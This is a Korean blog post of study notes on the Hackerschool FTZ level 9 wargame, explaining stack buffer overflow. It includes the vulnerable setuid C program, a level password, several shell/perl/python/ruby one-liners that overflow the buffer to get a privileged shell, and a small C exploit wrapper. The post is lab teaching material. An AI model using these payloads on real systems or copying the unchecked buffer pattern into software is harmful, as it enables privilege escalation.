www.hackerschool.org 를 이용하여 공부한다.
목적 : 버퍼오버플로우(Bof, Buffer Overflow)
> 버퍼오버플로우 기법을 이해하기 위해 메모리의 값을 조작하는 방법
버퍼오버플로우의 종류
> Stack Buffer Overflow
> Heap Buffer Overflow
버퍼를 넘치게 하는 것. 스택과 힙 두개 다 사용이 된다.
[참고][클릭]변수의 메모리 배치 확인과 GDB 사용법
level9 사용자로 로그인
ID : level9
PASS : apple
$ cd
$ ls -l
$ cat hint
$ cd tmp
$ vi bof.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> main() { char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf, 40, stdin); printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2); <--- 라인추가 if(strncmp(buf2, "go", 2) == 0) { printf("Good Skill!\n"); setreuid(3010, 3010); system("/bin/bash"); } } | cs |
$ gcc -o bof bof.c
$ ./bof
(주의) 스택은 높은 주소에서 낮은 주소로 저장된다.
$ ls -l /usr/bin/bof
> setuid가 걸려있어서 breakpoint를 걸 수가 없다.
/usr/bin/bof
-> read권한이 없기 때문에 허가가 거부된다.
-> tmp 디렉토리에 만들어 놓은 파일을 가지고 작업.
$ gdb /home/level9/tmp/bof
$ /usr/bin/bof
일반적인 공격형태
$ for i in `seq 1 16`; do printf "A"; done; printf "go\n" ; cat | /usr/bin/bof
$ (perl -e 'print "A"x16, "go"; cat) | /usr/bin/bof
$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof
$ (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof
$ (for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"; cat) | /usr/bin/bof
○ 공격용 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <stdio.h> #define VICTIM "/usr/bin/bof" #define DEFAULT_BUFFER_SIZE 100 char cmdBuf[DEFAULT_BUFFER_SIZE]; int main() { sprintf(cmdBuf, "(for i in `seq 1 16`; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM); system(cmdBuf); return 0; } | cs |
'보안과정 > 리버싱' 카테고리의 다른 글
Level 11~20 문서 합본 (0) | 2017.12.17 |
---|---|
Level 10 → Level 11 (0) | 2017.11.30 |
Level 8 → Level9 (0) | 2017.11.30 |
Level 7 → Level 8 (0) | 2017.11.29 |
Level 6 → Level 7 (0) | 2017.11.29 |